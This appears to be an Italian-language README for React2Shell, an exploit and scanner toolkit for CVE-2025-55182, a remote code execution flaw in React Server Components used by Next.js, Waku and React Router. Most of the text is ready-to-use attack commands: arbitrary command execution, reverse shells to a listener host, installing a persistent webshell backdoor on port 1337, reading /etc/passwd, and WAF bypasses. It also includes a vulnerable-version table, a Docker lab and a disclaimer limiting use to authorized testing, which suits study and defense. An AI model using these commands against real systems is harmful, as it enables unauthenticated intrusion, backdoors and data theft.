Kit di test di sicurezza CVE-2025-55182: scanner CLI + estensione Chrome + template Nuclei + laboratorio Docker.
Scanner e toolkit di exploit per CVE-2025-55182 per RCE su Next.js/React Server Components.
React2Shell/
├── browser-extension/ # Chrome extension for browser-based detection
│ ├── manifest.json
│ ├── content.js
│ ├── popup.html/js
│ └── background.js
├── cli/ # Command-line scanner & exploit tool
│ ├── react2shell.py
│ └── requirements.txt
├── docs/ # Learning-focused documentation
│ ├── README.md # Learning path index
│ ├── 01-fundamentals.md
│ ├── 02-vulnerability.md
│ ├── 03-exploitation.md
│ ├── 04-frameworks.md
│ └── 05-defense.md
├── lab/ # Docker lab environment for testing
│ ├── vulnerable/ # Vulnerable Next.js app (React 19.2.0)
│ ├── patched/ # Patched Next.js app (React 19.2.1)
│ ├── waf/ # ModSecurity WAF container
│ ├── waku-app/ # Vulnerable Waku app (React 19.2.0)
│ ├── react-router-app/ # Vulnerable React Router app (React 19.2.0)
│ └── docker-compose.yml
└── nuclei/ # Nuclei templates
├── CVE-2025-55182.yaml # RCE detection (executes code)
└── CVE-2025-55182-safe.yaml # Safe side-channel detection
cd cli
pip install -r requirements.txt
# Scan a target
python react2shell.py https://target.com
# Execute command
python react2shell.py https://target.com -c "id"
# Interactive shell
python react2shell.py https://target.com -i
chrome://extensions/browser-extensioncd lab
docker-compose up -d
# Exploitable targets:
# Next.js Vulnerable: http://localhost:3011 ← Full RCE
# Waku Vulnerable: http://localhost:3014 ← RCE (blind - no HTTP output)
# React Router: http://localhost:3015 ← Full RCE (ESM)
# Protected targets:
# Next.js Patched: http://localhost:3012 ← Secure
# WAF Protected: http://localhost:3013 ← ModSecurity blocks exploits
nuclei -t nuclei/CVE-2025-55182.yaml -u https://target.com
cli/react2shell.py)--detect) - Rileva automaticamente il framework target-E) - Scopri gli endpoint RSC automaticamente-c) - Esegui comandi arbitrari-i) - Sessione di comando persistente-r) - Molteplici tipi: nc, bash, perl, python, ruby--webshell) - Installazione persistente di backdoor-f) - Leggi file remoti direttamente-L) - Controlla package.json per versioni vulnerabili-w), codifica Unicode (-u), specifico per Vercel (-V)-x) - Instradamento tramite Burp Suite o altri proxy-s) - Rilevamento side-channel senza esecuzione di codicebrowser-extension/)lab/)/RSC/F/{x}/{y}.txtprocess.getBuiltinModule() compatibile con ESM# Basic scan (auto-detects framework)
python react2shell.py https://target.com
# Detect framework and enumerate endpoints
python react2shell.py https://target.com --detect
python react2shell.py https://target.com -E -v
# Execute command on different frameworks
python react2shell.py https://target.com -c "id" # Next.js (auto)
python react2shell.py https://target.com -F waku -c "id" # Waku (blind RCE)
python react2shell.py https://target.com -F react-router -c "id" # React Router (ESM)
# Lab examples with output
python react2shell.py http://localhost:3011 -c "cat /app/secret/flag.txt" # Next.js
python react2shell.py http://localhost:3015 -F react-router -c "id" # React Router
# Execute command with all WAF bypasses
python react2shell.py https://target.com -c "cat /etc/passwd" -w -u
# Interactive shell through proxy
python react2shell.py https://target.com -i -x http://127.0.0.1:8080
# Install in-memory webshell (creates backdoor on port 1337)
python react2shell.py https://target.com --webshell mypassword
# Access: curl 'http://target:1337/?p=mypassword&cmd=id'
# Reverse shell
python react2shell.py https://target.com -r -l 10.0.0.1 -p 4444 -S bash
# Scan local project for vulnerable versions
python react2shell.py -L /path/to/project
# Batch scan with output
python react2shell.py targets.txt -t 20 -o results.json -v
Opzioni di esecuzione:
-c, --cmd Comando da eseguire
-i, --interactive Sessione shell interattiva
-r, --reverse Modalità reverse shell
-l, --lhost Host di ascolto
-p, --lport Porta di ascolto
-S, --shell-type Tipo di shell (nc, nc-mkfifo, bash, perl, python, ruby)
-f, --read-file Leggi un file remoto
Opzioni di scansione:
-P, --path Percorsi da testare (separati da virgola o file)
-t, --threads Numero di thread (predefinito: 10)
-T, --timeout Timeout richiesta in secondi (predefinito: 10)
-s, --safe Modalità sicura (nessuna esecuzione di codice)
-L, --local Scansiona directory progetto locale
-F, --framework Framework target (auto, nextjs, waku, react-router, expo)
-E, --enumerate Enumera endpoint RSC prima dello sfruttamento
--detect Rileva solo il framework e elenca gli endpoint
--webshell Installa webshell in memoria sulla porta 1337
--rce Modalità proof-of-concept RCE (predefinita: modalità sicura)
Opzioni di bypass:
-w, --waf-bypass Padding di dati junk
-W, --waf-size Dimensione junk in KB (predefinito: 128)
-u, --unicode Bypass codifica Unicode
-V, --vercel-bypass Bypass specifico per Vercel
--windows Payload PowerShell per Windows
Opzioni di richiesta:
-x, --proxy URL proxy (es. http://127.0.0.1:8080)
-H, --header Intestazioni personalizzate
-A, --user-agent User-Agent personalizzato
-k, --insecure Disabilita verifica SSL
Opzioni di output:
-o, --output Salva risultati in JSON
-v, --verbose Output dettagliato con rilevamento versione
-q, --quiet Mostra solo target vulnerabili
--no-color Disabilita colori
--no-banner Nascondi banner
| Campo | Valore |
|---|---|
| CVSS | 10.0 (Critico) |
| Impatto | Esecuzione remota di codice non autenticata |
| Affetti | Qualsiasi framework RSC che utilizza versioni vulnerabili di React |
| Meccanismo | Inquinamento del prototipo tramite React Flight Protocol |
| Framework | Vulnerabile | Corretto |
|---|---|---|
| React | 19.0.0 - 19.2.0 | 19.2.1+ |
| Next.js | 14.0.0 - 15.4.7 | 15.4.8+ |
| Waku | < 0.27.2 | 0.27.2+ |
| React Router | 7.0.0 - 7.5.0 (anteprima RSC) | 7.5.1+ |
| Expo | RSC sperimentale | Aggiorna React |
| @vitejs/plugin-rsc | Tutti con React vulnerabile | Aggiorna React |
| @parcel/rsc | Tutti con React vulnerabile | Aggiorna React |
| RedwoodJS (rwsdk) | Tutti con React vulnerabile | Aggiorna React |
Questo toolkit è destinato esclusivamente a test di sicurezza autorizzati. Utilizzalo solo su sistemi di tua proprietà o per i quali hai esplicita autorizzazione scritta al test. L'accesso non autorizzato a sistemi informatici è illegale.
CVE-2025-55182 | CVSS 10.0 | Solo per test di sicurezza autorizzati